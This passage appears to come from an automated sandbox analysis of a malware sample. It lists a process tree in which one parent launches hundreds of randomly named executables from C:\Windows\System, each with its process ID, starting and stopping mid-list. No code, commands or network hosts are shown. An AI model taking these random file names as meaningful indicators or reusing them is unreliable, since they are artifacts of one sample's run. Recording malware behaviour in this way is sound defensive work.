  C:\Windows\System\GJlXyJn.exe
  2⤵
  PID:6328
- C:\Windows\System\diAcNdX.exe
  C:\Windows\System\diAcNdX.exe
  2⤵
  PID:6348
- C:\Windows\System\nJDUWxp.exe
  C:\Windows\System\nJDUWxp.exe
  2⤵
  PID:6364
- C:\Windows\System\omDcpiW.exe
  C:\Windows\System\omDcpiW.exe
  2⤵
  PID:6380
- C:\Windows\System\vYqLgIT.exe
  C:\Windows\System\vYqLgIT.exe
  2⤵
  PID:6396
- C:\Windows\System\hhoSVXT.exe
  C:\Windows\System\hhoSVXT.exe
  2⤵
  PID:6412
- C:\Windows\System\vDaOrcv.exe
  C:\Windows\System\vDaOrcv.exe
  2⤵
  PID:6432
- C:\Windows\System\JClMcZT.exe
  C:\Windows\System\JClMcZT.exe
  2⤵
  PID:6452
- C:\Windows\System\ciWqrVN.exe
  C:\Windows\System\ciWqrVN.exe
  2⤵
  PID:6472
- C:\Windows\System\QDAckyp.exe
  C:\Windows\System\QDAckyp.exe
  2⤵
  PID:6492
- C:\Windows\System\RVNQnjC.exe
  C:\Windows\System\RVNQnjC.exe
  2⤵
  PID:6508
- C:\Windows\System\FFvNLeU.exe
  C:\Windows\System\FFvNLeU.exe
  2⤵
  PID:6528
- C:\Windows\System\urofCxC.exe
  C:\Windows\System\urofCxC.exe
  2⤵
  PID:6548
- C:\Windows\System\SlNzqIw.exe
  C:\Windows\System\SlNzqIw.exe
  2⤵
  PID:6568
- C:\Windows\System\RtlcEKu.exe
  C:\Windows\System\RtlcEKu.exe
  2⤵
  PID:6584
- C:\Windows\System\wyUSNnx.exe
  C:\Windows\System\wyUSNnx.exe
  2⤵
  PID:6600
- C:\Windows\System\YUfgscY.exe
  C:\Windows\System\YUfgscY.exe
  2⤵
  PID:6616
- C:\Windows\System\qtxoVAZ.exe
  C:\Windows\System\qtxoVAZ.exe
  2⤵
  PID:6632
- C:\Windows\System\NBtCAUC.exe
  C:\Windows\System\NBtCAUC.exe
  2⤵
  PID:6648
- C:\Windows\System\kkEbWsV.exe
  C:\Windows\System\kkEbWsV.exe
  2⤵
  PID:6664
- C:\Windows\System\HAgzWSQ.exe
  C:\Windows\System\HAgzWSQ.exe
  2⤵
  PID:6680
- C:\Windows\System\dWEGYOd.exe
  C:\Windows\System\dWEGYOd.exe
  2⤵
  PID:6696
- C:\Windows\System\MZYcPre.exe
  C:\Windows\System\MZYcPre.exe
  2⤵
  PID:6712
- C:\Windows\System\GaBtwyP.exe
  C:\Windows\System\GaBtwyP.exe
  2⤵
  PID:6732
- C:\Windows\System\qJedvqi.exe
  C:\Windows\System\qJedvqi.exe
  2⤵
  PID:6752
- C:\Windows\System\RzHxoBl.exe
  C:\Windows\System\RzHxoBl.exe
  2⤵
  PID:6776
- C:\Windows\System\bIxherO.exe
  C:\Windows\System\bIxherO.exe
  2⤵
  PID:6796
- C:\Windows\System\BNRVXGw.exe
  C:\Windows\System\BNRVXGw.exe
  2⤵
  PID:6820
- C:\Windows\System\ardWNmp.exe
  C:\Windows\System\ardWNmp.exe
  2⤵
  PID:6836
- C:\Windows\System\lFYGNXP.exe
  C:\Windows\System\lFYGNXP.exe
  2⤵
  PID:6856
- C:\Windows\System\CLOUgyR.exe
  C:\Windows\System\CLOUgyR.exe
  2⤵
  PID:6872
- C:\Windows\System\LPPxcOd.exe
  C:\Windows\System\LPPxcOd.exe
  2⤵
  PID:6888
- C:\Windows\System\QpKnEva.exe
  C:\Windows\System\QpKnEva.exe
  2⤵
  PID:7060
- C:\Windows\System\uPMUFHL.exe
  C:\Windows\System\uPMUFHL.exe
  2⤵
  PID:7076
- C:\Windows\System\aNjIptQ.exe
  C:\Windows\System\aNjIptQ.exe
  2⤵
  PID:7092
- C:\Windows\System\gzlvJdo.exe
  C:\Windows\System\gzlvJdo.exe
  2⤵
  PID:7108
- C:\Windows\System\XZPWbaO.exe
  C:\Windows\System\XZPWbaO.exe
  2⤵
  PID:7124
- C:\Windows\System\JovpzWx.exe
  C:\Windows\System\JovpzWx.exe
  2⤵
  PID:7140
- C:\Windows\System\REpOkZg.exe
  C:\Windows\System\REpOkZg.exe
  2⤵
  PID:7156
- C:\Windows\System\PAmBhJe.exe
  C:\Windows\System\PAmBhJe.exe
  2⤵
  PID:5140
- C:\Windows\System\LbduMYy.exe
  C:\Windows\System\LbduMYy.exe
  2⤵
  PID:5584
- C:\Windows\System\mySugyj.exe
  C:\Windows\System\mySugyj.exe
  2⤵
  PID:488
- C:\Windows\System\ZTsmUhE.exe
  C:\Windows\System\ZTsmUhE.exe
  2⤵
  PID:5456
- C:\Windows\System\sRrWvVT.exe
  C:\Windows\System\sRrWvVT.exe
  2⤵
  PID:2276
- C:\Windows\System\WaEMxnQ.exe
  C:\Windows\System\WaEMxnQ.exe
  2⤵
  PID:5660
- C:\Windows\System\vjauQuR.exe
  C:\Windows\System\vjauQuR.exe
  2⤵
  PID:6084
- C:\Windows\System\dhyaDgu.exe
  C:\Windows\System\dhyaDgu.exe
  2⤵
  PID:1028
- C:\Windows\System\FnQhhIo.exe
  C:\Windows\System\FnQhhIo.exe
  2⤵
  PID:6184
- C:\Windows\System\ahhxJPV.exe
  C:\Windows\System\ahhxJPV.exe
  2⤵
  PID:6236
- C:\Windows\System\zwsiICA.exe
  C:\Windows\System\zwsiICA.exe
  2⤵
  PID:6316
- C:\Windows\System\ftBsgxM.exe
  C:\Windows\System\ftBsgxM.exe
  2⤵
  PID:6360
- C:\Windows\System\NCoXRGo.exe
  C:\Windows\System\NCoXRGo.exe
  2⤵
  PID:6428
- C:\Windows\System\aHqrGDZ.exe
  C:\Windows\System\aHqrGDZ.exe
  2⤵
  PID:6536
- C:\Windows\System\rniVDFe.exe
  C:\Windows\System\rniVDFe.exe
  2⤵
  PID:6580
- C:\Windows\System\ooYCQbZ.exe
  C:\Windows\System\ooYCQbZ.exe
  2⤵
  PID:6784
- C:\Windows\System\aHCZOqb.exe
  C:\Windows\System\aHCZOqb.exe
  2⤵
  PID:6748
- C:\Windows\System\aNciryt.exe
  C:\Windows\System\aNciryt.exe
  2⤵
  PID:6828
- C:\Windows\System\ENYRsDm.exe
  C:\Windows\System\ENYRsDm.exe
  2⤵
  PID:5860
- C:\Windows\System\yNcwcRA.exe
  C:\Windows\System\yNcwcRA.exe
  2⤵
  PID:6024
- C:\Windows\System\UMTXuef.exe
  C:\Windows\System\UMTXuef.exe
  2⤵
  PID:6056
- C:\Windows\System\sUxRoon.exe
  C:\Windows\System\sUxRoon.exe
  2⤵
  PID:5276
- C:\Windows\System\HFGuRRu.exe
  C:\Windows\System\HFGuRRu.exe
  2⤵
  PID:6124
- C:\Windows\System\OsrbdCo.exe
  C:\Windows\System\OsrbdCo.exe
  2⤵
  PID:5396
- C:\Windows\System\YyBflnu.exe
  C:\Windows\System\YyBflnu.exe
  2⤵
  PID:2844
- C:\Windows\System\ZkQFGfr.exe
  C:\Windows\System\ZkQFGfr.exe
  2⤵
  PID:684
- C:\Windows\System\ACjjIiW.exe
  C:\Windows\System\ACjjIiW.exe
  2⤵
  PID:5936
- C:\Windows\System\lHbxPIK.exe
  C:\Windows\System\lHbxPIK.exe
  2⤵
  PID:2092
- C:\Windows\System\YChWKSI.exe
  C:\Windows\System\YChWKSI.exe
  2⤵
  PID:6204
- C:\Windows\System\CkKGXMb.exe
  C:\Windows\System\CkKGXMb.exe
  2⤵
  PID:6296
- C:\Windows\System\eQZJXxO.exe
  C:\Windows\System\eQZJXxO.exe
  2⤵
  PID:6440
- C:\Windows\System\RRfuzMF.exe
  C:\Windows\System\RRfuzMF.exe
  2⤵
  PID:6488
- C:\Windows\System\TvSnSAy.exe
  C:\Windows\System\TvSnSAy.exe
  2⤵
  PID:6564
- C:\Windows\System\sBNTXAq.exe
  C:\Windows\System\sBNTXAq.exe
  2⤵
  PID:6844
- C:\Windows\System\TGIwMlN.exe
  C:\Windows\System\TGIwMlN.exe
  2⤵
  PID:5176
- C:\Windows\System\RPnnsUv.exe
  C:\Windows\System\RPnnsUv.exe
  2⤵
  PID:2832
- C:\Windows\System\iXIdDtq.exe
  C:\Windows\System\iXIdDtq.exe
  2⤵
  PID:6164
- C:\Windows\System\YsrRzHG.exe
  C:\Windows\System\YsrRzHG.exe
  2⤵
  PID:6344
- C:\Windows\System\zCdXcNm.exe
  C:\Windows\System\zCdXcNm.exe
  2⤵
  PID:6660
- C:\Windows\System\jRokYEu.exe
  C:\Windows\System\jRokYEu.exe
  2⤵
  PID:6720
- C:\Windows\System\TrKcHLK.exe
  C:\Windows\System\TrKcHLK.exe
  2⤵
  PID:6812
- C:\Windows\System\tRiLgeI.exe
  C:\Windows\System\tRiLgeI.exe
  2⤵
  PID:7132
- C:\Windows\System\kFgXPUg.exe
  C:\Windows\System\kFgXPUg.exe
  2⤵
  PID:6260
- C:\Windows\System\Gxezkgc.exe
  C:\Windows\System\Gxezkgc.exe
  2⤵
  PID:6920
- C:\Windows\System\YOLQzBE.exe
  C:\Windows\System\YOLQzBE.exe
  2⤵
  PID:6936
- C:\Windows\System\iVIfNhl.exe
  C:\Windows\System\iVIfNhl.exe
  2⤵
  PID:6956
- C:\Windows\System\LLYqNtv.exe
  C:\Windows\System\LLYqNtv.exe
  2⤵
  PID:6972
- C:\Windows\System\AsZhOGd.exe
  C:\Windows\System\AsZhOGd.exe
  2⤵
  PID:6988
- C:\Windows\System\GaxQwei.exe
  C:\Windows\System\GaxQwei.exe
  2⤵
  PID:7004
- C:\Windows\System\LZjfMct.exe
  C:\Windows\System\LZjfMct.exe
  2⤵
  PID:7020
- C:\Windows\System\QoLPZvS.exe
  C:\Windows\System\QoLPZvS.exe
  2⤵
  PID:7036
- C:\Windows\System\nmMorrN.exe
  C:\Windows\System\nmMorrN.exe
  2⤵
  PID:7052
- C:\Windows\System\VkquudZ.exe
  C:\Windows\System\VkquudZ.exe
  2⤵
  PID:6324
- C:\Windows\System\CmjfAGo.exe
  C:\Windows\System\CmjfAGo.exe
  2⤵
  PID:7152
- C:\Windows\System\aZVBdpX.exe
  C:\Windows\System\aZVBdpX.exe
  2⤵
  PID:2960
- C:\Windows\System\kzKpbPC.exe
  C:\Windows\System\kzKpbPC.exe
  2⤵
  PID:1288
- C:\Windows\System\IXrhWnw.exe
  C:\Windows\System\IXrhWnw.exe
  2⤵
  PID:6232
- C:\Windows\System\dCeOYnJ.exe
  C:\Windows\System\dCeOYnJ.exe
  2⤵
  PID:6500
- C:\Windows\System\QtBtoTk.exe
  C:\Windows\System\QtBtoTk.exe
  2⤵
  PID:6676
- C:\Windows\System\RyzJLYw.exe
  C:\Windows\System\RyzJLYw.exe
  2⤵
  PID:5500
- C:\Windows\System\lmeQQyC.exe
  C:\Windows\System\lmeQQyC.exe
  2⤵
  PID:5644
- C:\Windows\System\SENIcmR.exe
  C:\Windows\System\SENIcmR.exe
  2⤵
  PID:6016
- C:\Windows\System\opoNgbm.exe
  C:\Windows\System\opoNgbm.exe
  2⤵
  PID:6804
- C:\Windows\System\utkhMUZ.exe
  C:\Windows\System\utkhMUZ.exe
  2⤵
  PID:996
- C:\Windows\System\KJuNtBe.exe
  C:\Windows\System\KJuNtBe.exe
  2⤵
  PID:6288
- C:\Windows\System\vlMflrW.exe
  C:\Windows\System\vlMflrW.exe
  2⤵
  PID:6688
- C:\Windows\System\qyWLHSX.exe
  C:\Windows\System\qyWLHSX.exe
  2⤵
  PID:7104
- C:\Windows\System\QaSbAVE.exe
  C:\Windows\System\QaSbAVE.exe
  2⤵
  PID:6944
- C:\Windows\System\fTaLPim.exe
  C:\Windows\System\fTaLPim.exe
  2⤵
  PID:5924
- C:\Windows\System\uCbeUWg.exe
  C:\Windows\System\uCbeUWg.exe
  2⤵
  PID:5160
- C:\Windows\System\pbUeuAg.exe
  C:\Windows\System\pbUeuAg.exe
  2⤵
  PID:2256
- C:\Windows\System\VpFmUnS.exe
  C:\Windows\System\VpFmUnS.exe
  2⤵
  PID:6148
- C:\Windows\System\oyAFanE.exe
  C:\Windows\System\oyAFanE.exe
  2⤵
  PID:6908
- C:\Windows\System\ZPBCQjn.exe
  C:\Windows\System\ZPBCQjn.exe
  2⤵
  PID:6248
- C:\Windows\System\UOZsitN.exe
  C:\Windows\System\UOZsitN.exe
  2⤵
  PID:2360
- C:\Windows\System\UlkhBFx.exe
  C:\Windows\System\UlkhBFx.exe
  2⤵
  PID:5444
- C:\Windows\System\tclDDgT.exe
  C:\Windows\System\tclDDgT.exe
  2⤵
  PID:6340
- C:\Windows\System\bVcmFpp.exe
  C:\Windows\System\bVcmFpp.exe
  2⤵
  PID:7192
- C:\Windows\System\fFLLviq.exe
  C:\Windows\System\fFLLviq.exe
  2⤵
  PID:7212
- C:\Windows\System\clDCoUu.exe
  C:\Windows\System\clDCoUu.exe
  2⤵
  PID:7232
- C:\Windows\System\fzBcUnL.exe
  C:\Windows\System\fzBcUnL.exe
  2⤵
  PID:7248
- C:\Windows\System\kQAYiMk.exe
  C:\Windows\System\kQAYiMk.exe
  2⤵
  PID:7272
- C:\Windows\System\kZpsHyA.exe
  C:\Windows\System\kZpsHyA.exe
  2⤵
  PID:7304
- C:\Windows\System\hEPlxbd.exe
  C:\Windows\System\hEPlxbd.exe
  2⤵
  PID:7324
- C:\Windows\System\OoIGobW.exe
  C:\Windows\System\OoIGobW.exe
  2⤵
  PID:7340
- C:\Windows\System\JLTCRIP.exe
  C:\Windows\System\JLTCRIP.exe
  2⤵
  PID:7360
- C:\Windows\System\IwFNzLF.exe
  C:\Windows\System\IwFNzLF.exe
  2⤵
  PID:7380
- C:\Windows\System\CxaFfxD.exe
  C:\Windows\System\CxaFfxD.exe
  2⤵
  PID:7396
- C:\Windows\System\rsnlkvI.exe
  C:\Windows\System\rsnlkvI.exe
  2⤵
  PID:7412
- C:\Windows\System\cytOmQv.exe
  C:\Windows\System\cytOmQv.exe
  2⤵
  PID:7432
- C:\Windows\System\iiOrLOO.exe
  C:\Windows\System\iiOrLOO.exe
  2⤵
  PID:7456
- C:\Windows\System\nWJaxoW.exe
  C:\Windows\System\nWJaxoW.exe
  2⤵
  PID:7476
- C:\Windows\System\VJRCOTZ.exe
  C:\Windows\System\VJRCOTZ.exe
  2⤵
  PID:7492
- C:\Windows\System\thSPsTZ.exe
  C:\Windows\System\thSPsTZ.exe
  2⤵
  PID:7508
- C:\Windows\System\jKXeIEt.exe
  C:\Windows\System\jKXeIEt.exe
  2⤵
  PID:7524
- C:\Windows\System\BYwIQmB.exe
  C:\Windows\System\BYwIQmB.exe
  2⤵
  PID:7548
- C:\Windows\System\MgyrYUn.exe
  C:\Windows\System\MgyrYUn.exe
  2⤵
  PID:7568
- C:\Windows\System\lDCYmjm.exe
  C:\Windows\System\lDCYmjm.exe
  2⤵
  PID:7584
- C:\Windows\System\RmXqmNi.exe
  C:\Windows\System\RmXqmNi.exe
  2⤵
  PID:7608
- C:\Windows\System\CQOdomx.exe
  C:\Windows\System\CQOdomx.exe
  2⤵
  PID:7624
- C:\Windows\System\buYviIL.exe
  C:\Windows\System\buYviIL.exe
  2⤵
  PID:7640
- C:\Windows\System\ZtKkUjb.exe
  C:\Windows\System\ZtKkUjb.exe
  2⤵
  PID:7660
- C:\Windows\System\NJrffKh.exe
  C:\Windows\System\NJrffKh.exe
  2⤵
  PID:7680
- C:\Windows\System\dxCYcIn.exe
  C:\Windows\System\dxCYcIn.exe
  2⤵
  PID:7696
- C:\Windows\System\SJouRiF.exe
  C:\Windows\System\SJouRiF.exe
  2⤵
  PID:7716
- C:\Windows\System\CwCKVEQ.exe
  C:\Windows\System\CwCKVEQ.exe
  2⤵
  PID:7732
- C:\Windows\System\wpuPxGE.exe
  C:\Windows\System\wpuPxGE.exe
  2⤵
  PID:7756
- C:\Windows\System\vfQueMt.exe
  C:\Windows\System\vfQueMt.exe
  2⤵
  PID:7772
- C:\Windows\System\QXzHXWC.exe
  C:\Windows\System\QXzHXWC.exe
  2⤵
  PID:7796
- C:\Windows\System\btnIYKv.exe
  C:\Windows\System\btnIYKv.exe
  2⤵
  PID:7812
- C:\Windows\System\DSyOYQa.exe
  C:\Windows\System\DSyOYQa.exe
  2⤵
  PID:7828
- C:\Windows\System\DHBbJGx.exe
  C:\Windows\System\DHBbJGx.exe
  2⤵
  PID:7844
- C:\Windows\System\RuczRIC.exe
  C:\Windows\System\RuczRIC.exe
  2⤵
  PID:7868
- C:\Windows\System\BTXNRaY.exe
  C:\Windows\System\BTXNRaY.exe
  2⤵
  PID:7888
- C:\Windows\System\NhweKfo.exe
  C:\Windows\System\NhweKfo.exe
  2⤵
  PID:7904
- C:\Windows\System\ovVGTCE.exe
  C:\Windows\System\ovVGTCE.exe
  2⤵
  PID:7924
- C:\Windows\System\IRtewUS.exe
  C:\Windows\System\IRtewUS.exe
  2⤵
  PID:7940
- C:\Windows\System\oaRdXXt.exe
  C:\Windows\System\oaRdXXt.exe
  2⤵
  PID:7956
- C:\Windows\System\XevghbO.exe
  C:\Windows\System\XevghbO.exe
  2⤵
  PID:7972
- C:\Windows\System\dolPLrB.exe
  C:\Windows\System\dolPLrB.exe
  2⤵
  PID:8000
- C:\Windows\System\HePaRqe.exe
  C:\Windows\System\HePaRqe.exe
  2⤵
  PID:8020
- C:\Windows\System\vwoIjTu.exe
  C:\Windows\System\vwoIjTu.exe
  2⤵
  PID:8044
- C:\Windows\System\xnGITmf.exe
  C:\Windows\System\xnGITmf.exe
  2⤵
  PID:8060
- C:\Windows\System\MowtPPo.exe
  C:\Windows\System\MowtPPo.exe
  2⤵
  PID:8084
- C:\Windows\System\aPlhViz.exe
  C:\Windows\System\aPlhViz.exe
  2⤵
  PID:7352
- C:\Windows\System\LTrzUPS.exe
  C:\Windows\System\LTrzUPS.exe
  2⤵
  PID:7392
- C:\Windows\System\DvrZEQi.exe
  C:\Windows\System\DvrZEQi.exe
  2⤵
  PID:7472
- C:\Windows\System\aWfmNxH.exe
  C:\Windows\System\aWfmNxH.exe
  2⤵
  PID:7504
- C:\Windows\System\FSqFOeM.exe
  C:\Windows\System\FSqFOeM.exe
  2⤵
  PID:7576
- C:\Windows\System\sOPjeim.exe
  C:\Windows\System\sOPjeim.exe
  2⤵
  PID:7620
- C:\Windows\System\luxBjbR.exe
  C:\Windows\System\luxBjbR.exe
  2⤵
  PID:7724
- C:\Windows\System\rkmTfkT.exe
  C:\Windows\System\rkmTfkT.exe
  2⤵
  PID:7768
- C:\Windows\System\XAWXhHh.exe
  C:\Windows\System\XAWXhHh.exe
  2⤵
  PID:7876
- C:\Windows\System\ojFJDTW.exe
  C:\Windows\System\ojFJDTW.exe
  2⤵
  PID:7912
- C:\Windows\System\HRVVzlW.exe
  C:\Windows\System\HRVVzlW.exe
  2⤵
  PID:7980
- C:\Windows\System\vNXDiYh.exe
  C:\Windows\System\vNXDiYh.exe
  2⤵
  PID:8028
- C:\Windows\System\xyDrhti.exe
  C:\Windows\System\xyDrhti.exe
  2⤵
  PID:8076
- C:\Windows\System\xTyulXd.exe
  C:\Windows\System\xTyulXd.exe
  2⤵
  PID:2468
- C:\Windows\System\UYZLoyx.exe
  C:\Windows\System\UYZLoyx.exe
  2⤵
  PID:6464
- C:\Windows\System\OKmkFRa.exe
  C:\Windows\System\OKmkFRa.exe
  2⤵
  PID:6996
- C:\Windows\System\xAEOsNl.exe
  C:\Windows\System\xAEOsNl.exe
  2⤵
  PID:8092
- C:\Windows\System\ckpNhFi.exe
  C:\Windows\System\ckpNhFi.exe
  2⤵
  PID:6984
- C:\Windows\System\JJVUFKL.exe
  C:\Windows\System\JJVUFKL.exe
  2⤵
  PID:5876
- C:\Windows\System\mGFCQgt.exe
  C:\Windows\System\mGFCQgt.exe
  2⤵
  PID:5996
- C:\Windows\System\wrEgbSg.exe
  C:\Windows\System\wrEgbSg.exe
  2⤵
  PID:6404
- C:\Windows\System\eNXBciv.exe
  C:\Windows\System\eNXBciv.exe
  2⤵
  PID:6560
- C:\Windows\System\XGNHfTn.exe
  C:\Windows\System\XGNHfTn.exe
  2⤵
  PID:2772
- C:\Windows\System\FyxocwC.exe
  C:\Windows\System\FyxocwC.exe
  2⤵
  PID:6624
- C:\Windows\System\MjUMtoR.exe
  C:\Windows\System\MjUMtoR.exe
  2⤵
  PID:6764
- C:\Windows\System\RPNdiTR.exe
  C:\Windows\System\RPNdiTR.exe
  2⤵
  PID:7560
- C:\Windows\System\pAGirWo.exe
  C:\Windows\System\pAGirWo.exe
  2⤵
  PID:6640
- C:\Windows\System\kJNnpFW.exe
  C:\Windows\System\kJNnpFW.exe
  2⤵
  PID:1860
- C:\Windows\System\GxYBTxV.exe
  C:\Windows\System\GxYBTxV.exe
  2⤵
  PID:8116
- C:\Windows\System\khYBrqT.exe
  C:\Windows\System\khYBrqT.exe
  2⤵
  PID:6628
- C:\Windows\System\aaQwqbk.exe
  C:\Windows\System\aaQwqbk.exe
  2⤵
  PID:8120
- C:\Windows\System\KcxGHfG.exe
  C:\Windows\System\KcxGHfG.exe
  2⤵
  PID:7016
- C:\Windows\System\nprKdvS.exe
  C:\Windows\System\nprKdvS.exe
  2⤵
  PID:8136
- C:\Windows\System\BlpktPE.exe
  C:\Windows\System\BlpktPE.exe
  2⤵
  PID:7200
- C:\Windows\System\BVPUDbD.exe
  C:\Windows\System\BVPUDbD.exe
  2⤵
  PID:7240
- C:\Windows\System\QjQjlyi.exe
  C:\Windows\System\QjQjlyi.exe
  2⤵
  PID:7300
- C:\Windows\System\YgucUvp.exe
  C:\Windows\System\YgucUvp.exe
  2⤵
  PID:7368
- C:\Windows\System\CGsQAmq.exe
  C:\Windows\System\CGsQAmq.exe
  2⤵
  PID:7500
- C:\Windows\System\luzFUkh.exe
  C:\Windows\System\luzFUkh.exe
  2⤵
  PID:7532
- C:\Windows\System\LbHrGPe.exe
  C:\Windows\System\LbHrGPe.exe
  2⤵
  PID:7596
- C:\Windows\System\JgJhEbc.exe
  C:\Windows\System\JgJhEbc.exe
  2⤵
  PID:7672
- C:\Windows\System\pOJzuJm.exe
  C:\Windows\System\pOJzuJm.exe
  2⤵
  PID:7744
- C:\Windows\System\veqeyEL.exe
  C:\Windows\System\veqeyEL.exe
  2⤵
  PID:7788
- C:\Windows\System\gZguMmH.exe
  C:\Windows\System\gZguMmH.exe
  2⤵
  PID:7864
- C:\Windows\System\vWhSzKu.exe
  C:\Windows\System\vWhSzKu.exe
  2⤵
  PID:7936
- C:\Windows\System\FuAPemc.exe
  C:\Windows\System\FuAPemc.exe
  2⤵
  PID:8056
- C:\Windows\System\vRhQsyP.exe
  C:\Windows\System\vRhQsyP.exe
  2⤵
  PID:8144
- C:\Windows\System\KMplbUF.exe
  C:\Windows\System\KMplbUF.exe
  2⤵
  PID:7652
- C:\Windows\System\QelyhEM.exe
  C:\Windows\System\QelyhEM.exe
  2⤵
  PID:8172
- C:\Windows\System\yyPNwuf.exe
  C:\Windows\System\yyPNwuf.exe
  2⤵
  PID:8184
- C:\Windows\System\KjBFOyo.exe
  C:\Windows\System\KjBFOyo.exe
  2⤵
  PID:7184
- C:\Windows\System\MCBumxr.exe
  C:\Windows\System\MCBumxr.exe
  2⤵
  PID:7260
- C:\Windows\System\TFevvAM.exe
  C:\Windows\System\TFevvAM.exe
  2⤵
  PID:7320
- C:\Windows\System\zTkuYAL.exe
  C:\Windows\System\zTkuYAL.exe
  2⤵
  PID:7880
- C:\Windows\System\NpAawJs.exe
  C:\Windows\System\NpAawJs.exe
  2⤵
  PID:8068
- C:\Windows\System\eVrDWKP.exe
  C:\Windows\System\eVrDWKP.exe
  2⤵
  PID:5700
- C:\Windows\System\dplaYrP.exe
  C:\Windows\System\dplaYrP.exe
  2⤵
  PID:8100
- C:\Windows\System\uumYDHX.exe
  C:\Windows\System\uumYDHX.exe
  2⤵
  PID:6608
- C:\Windows\System\MWyVbih.exe
  C:\Windows\System\MWyVbih.exe
  2⤵
  PID:6252
- C:\Windows\System\QNouAYi.exe
  C:\Windows\System\QNouAYi.exe
  2⤵
  PID:588
- C:\Windows\System\kOKxVjp.exe
  C:\Windows\System\kOKxVjp.exe
  2⤵
  PID:5224
- C:\Windows\System\VVnqcTE.exe
  C:\Windows\System\VVnqcTE.exe
  2⤵
  PID:7164
- C:\Windows\System\ppevjSc.exe
  C:\Windows\System\ppevjSc.exe
  2⤵
  PID:7556
- C:\Windows\System\fVCxdbr.exe
  C:\Windows\System\fVCxdbr.exe
  2⤵
  PID:7176
- C:\Windows\System\fCWUBDo.exe
  C:\Windows\System\fCWUBDo.exe
  2⤵
  PID:8016
- C:\Windows\System\DdETNPE.exe
  C:\Windows\System\DdETNPE.exe
  2⤵
  PID:7012
- C:\Windows\System\bwwzTIq.exe
  C:\Windows\System\bwwzTIq.exe
  2⤵
  PID:7448
- C:\Windows\System\AUFvPso.exe
  C:\Windows\System\AUFvPso.exe
  2⤵
  PID:7280
- C:\Windows\System\GXqzcSL.exe
  C:\Windows\System\GXqzcSL.exe
  2⤵
  PID:7860
- C:\Windows\System\uNBXwSC.exe
  C:\Windows\System\uNBXwSC.exe
  2⤵
  PID:5544
- C:\Windows\System\bawFXXF.exe
  C:\Windows\System\bawFXXF.exe
  2⤵
  PID:4340
- C:\Windows\System\jgcBcUt.exe
  C:\Windows\System\jgcBcUt.exe
  2⤵
  PID:7604
- C:\Windows\System\rrcqHAA.exe
  C:\Windows\System\rrcqHAA.exe
  2⤵
  PID:7784
- C:\Windows\System\BEManOK.exe
  C:\Windows\System\BEManOK.exe
  2⤵
  PID:8124
- C:\Windows\System\ulfovLn.exe
  C:\Windows\System\ulfovLn.exe
  2⤵
  PID:8176
- C:\Windows\System\UlVxJnN.exe
  C:\Windows\System\UlVxJnN.exe
  2⤵
  PID:7852
- C:\Windows\System\eezNEFd.exe
  C:\Windows\System\eezNEFd.exe
  2⤵
  PID:7836
- C:\Windows\System\JZFVZPC.exe
  C:\Windows\System\JZFVZPC.exe
  2⤵
  PID:7312
- C:\Windows\System\iOBKTBS.exe
  C:\Windows\System\iOBKTBS.exe
  2⤵
  PID:7428
- C:\Windows\System\dhFejGb.exe
  C:\Windows\System\dhFejGb.exe
  2⤵
  PID:7688
- C:\Windows\System\KuFgMDP.exe
  C:\Windows\System\KuFgMDP.exe
  2⤵
  PID:7952
- C:\Windows\System\TvHxyzN.exe
  C:\Windows\System\TvHxyzN.exe
  2⤵
  PID:8032
- C:\Windows\System\TXxBurC.exe
  C:\Windows\System\TXxBurC.exe
  2⤵
  PID:5764
- C:\Windows\System\HvHcMdB.exe
  C:\Windows\System\HvHcMdB.exe
  2⤵
  PID:6912
- C:\Windows\System\ifzBbfe.exe
  C:\Windows\System\ifzBbfe.exe
  2⤵
  PID:7520
- C:\Windows\System\dgiWsYh.exe
  C:\Windows\System\dgiWsYh.exe
  2⤵
  PID:5836
- C:\Windows\System\grdgnvc.exe
  C:\Windows\System\grdgnvc.exe
  2⤵
  PID:7296
- C:\Windows\System\ppUSqKP.exe
  C:\Windows\System\ppUSqKP.exe
  2⤵
  PID:6900
- C:\Windows\System\DHphBZM.exe
  C:\Windows\System\DHphBZM.exe
  2⤵
  PID:8128
- C:\Windows\System\TjmBNXQ.exe
  C:\Windows\System\TjmBNXQ.exe
  2⤵
  PID:7208
- C:\Windows\System\TTgMHsj.exe
  C:\Windows\System\TTgMHsj.exe
  2⤵
  PID:7712
- C:\Windows\System\NCsjksU.exe
  C:\Windows\System\NCsjksU.exe
  2⤵
  PID:7992
- C:\Windows\System\TjaqLtC.exe
  C:\Windows\System\TjaqLtC.exe
  2⤵
  PID:8040
- C:\Windows\System\tHQwEwW.exe
  C:\Windows\System\tHQwEwW.exe
  2⤵
  PID:7292
- C:\Windows\System\lymeiTv.exe
  C:\Windows\System\lymeiTv.exe
  2⤵
  PID:8052
- C:\Windows\System\awHpDyp.exe
  C:\Windows\System\awHpDyp.exe
  2⤵
  PID:7404
- C:\Windows\System\RjmteUH.exe
  C:\Windows\System\RjmteUH.exe
  2⤵
  PID:7336
- C:\Windows\System\BeIXCme.exe
  C:\Windows\System\BeIXCme.exe
  2⤵
  PID:7452
- C:\Windows\System\PjoMxxF.exe
  C:\Windows\System\PjoMxxF.exe
  2⤵
  PID:8180
- C:\Windows\System\NvYnDkZ.exe
  C:\Windows\System\NvYnDkZ.exe
  2⤵
  PID:7356
- C:\Windows\System\rqduzkB.exe
  C:\Windows\System\rqduzkB.exe
  2⤵
  PID:6520
- C:\Windows\System\IsEoMZy.exe
  C:\Windows\System\IsEoMZy.exe
  2⤵
  PID:6256
- C:\Windows\System\AGJVOAR.exe
  C:\Windows\System\AGJVOAR.exe
  2⤵
  PID:324
- C:\Windows\System\qoVHKtK.exe
  C:\Windows\System\qoVHKtK.exe
  2⤵
  PID:7808
- C:\Windows\System\MUPWFaY.exe
  C:\Windows\System\MUPWFaY.exe
  2⤵
  PID:7372
- C:\Windows\System\DvncMen.exe
  C:\Windows\System\DvncMen.exe
  2⤵
  PID:6740
- C:\Windows\System\qlHnnhc.exe
  C:\Windows\System\qlHnnhc.exe
  2⤵
  PID:7840
- C:\Windows\System\bNmltqH.exe
  C:\Windows\System\bNmltqH.exe
  2⤵
  PID:7068
- C:\Windows\System\KsbgqdY.exe
  C:\Windows\System\KsbgqdY.exe
  2⤵
  PID:7804
- C:\Windows\System\rlEERUf.exe
  C:\Windows\System\rlEERUf.exe
  2⤵
  PID:5184
- C:\Windows\System\gBTSfYX.exe
  C:\Windows\System\gBTSfYX.exe
  2⤵
  PID:7072
- C:\Windows\System\ZimXTJq.exe
  C:\Windows\System\ZimXTJq.exe
  2⤵
  PID:7616
- C:\Windows\System\FDhYeqK.exe
  C:\Windows\System\FDhYeqK.exe
  2⤵
  PID:7444
- C:\Windows\System\IzpkVzB.exe
